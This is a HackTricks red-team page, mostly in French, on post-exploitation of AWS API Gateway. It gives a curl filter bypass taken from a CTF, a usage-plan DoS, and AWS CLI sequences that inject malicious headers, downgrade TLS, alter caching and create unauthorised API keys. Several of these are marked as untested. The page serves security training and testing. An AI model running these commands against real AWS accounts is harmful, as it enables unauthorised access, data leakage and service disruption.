AWS - API Gateway Post Exploitation

Reading time: 7 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

API Gateway

Pour plus d'informations, consultez :

AWS - API Gateway Enum

Accéder aux APIs non exposées

You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
Then, from the EC2 machine you will be able to access the endpoint and therefore call the API Gateway that wasn't exposed before.

Bypass Request body passthrough

Cette technique a été trouvée dans this CTF writeup.

Comme indiquĂ© dans la AWS documentation dans la section PassthroughBehavior, par dĂ©faut, la valeur WHEN_NO_MATCH, lors de la vĂ©rification de l'en-tĂȘte Content-Type de la requĂȘte, transmettra la requĂȘte au back end sans transformation.

Therefore, in the CTF the API Gateway had an integration template that was preventing the flag from being exfiltrated in a response when a request was sent with Content-Type: application/json:

yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Cependant, l'envoi d'une requĂȘte avec Content-type: text/json contournerait ce filtre.

Enfin, comme l'API Gateway n'autorisait que Get et Options, il Ă©tait possible d'envoyer une requĂȘte dynamoDB arbitraire sans aucune limite en envoyant une requĂȘte POST avec la requĂȘte dans le corps et en utilisant l'en-tĂȘte X-HTTP-Method-Override: GET :

bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Dans la section ÉnumĂ©ration vous pouvez voir comment obtenir le plan d'utilisation des clĂ©s. Si vous avez la clĂ© et qu'elle est limitĂ©e Ă  X utilisations par mois, vous pouvez simplement l'utiliser et provoquer un DoS.

L'API Key doit simplement ĂȘtre inclue dans un HTTP header appelĂ© x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Un attaquant disposant des permissions apigateway:UpdateGatewayResponse et apigateway:CreateDeployment peut modifier une Gateway Response existante pour inclure des en-tĂȘtes personnalisĂ©s ou des templates de rĂ©ponse qui leak des informations sensibles ou exĂ©cutent des scripts malveillants.

bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Divulgation d'informations sensibles, exécution de scripts malveillants ou accÚs non autorisé aux ressources API.

note

Nécessite des tests

apigateway:UpdateStage, apigateway:CreateDeployment

Un attaquant disposant des permissions apigateway:UpdateStage et apigateway:CreateDeployment peut modifier un stage existant d'API Gateway pour rediriger le trafic vers un autre stage ou modifier les paramÚtres de mise en cache afin d'obtenir un accÚs non autorisé aux données mises en cache.

bash
API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : AccÚs non autorisé aux données mises en cache, perturbation ou interception du trafic API.

note

Nécessite des tests

apigateway:PutMethodResponse, apigateway:CreateDeployment

Un attaquant disposant des permissions apigateway:PutMethodResponse et apigateway:CreateDeployment peut modifier le method response d'une méthode existante d'API Gateway REST API pour inclure des custom headers ou des response templates qui leak des informations sensibles ou exécutent des scripts malveillants.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel: Leakage d'informations sensibles, exécution de scripts malveillants ou accÚs non autorisé aux ressources de l'API.

note

Nécessite des tests

apigateway:UpdateRestApi, apigateway:CreateDeployment

Un attaquant disposant des permissions apigateway:UpdateRestApi et apigateway:CreateDeployment peut modifier les paramÚtres de l'API REST d'API Gateway pour désactiver la journalisation ou changer la version minimale de TLS, affaiblissant potentiellement la sécurité de l'API.

bash
API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impact potentiel : Affaiblissement de la sécurité de l'API, pouvant permettre un accÚs non autorisé ou exposer des informations sensibles.

note

Nécessite des tests

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Un attaquant disposant des permissions apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, et apigateway:CreateUsagePlanKey peut créer de nouvelles clés API, les associer à des plans d'utilisation, puis utiliser ces clés pour accéder aux API sans autorisation.

bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Potential Impact: AccÚs non autorisé aux ressources API, contournement des contrÎles de sécurité.

note

Nécessite des tests

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks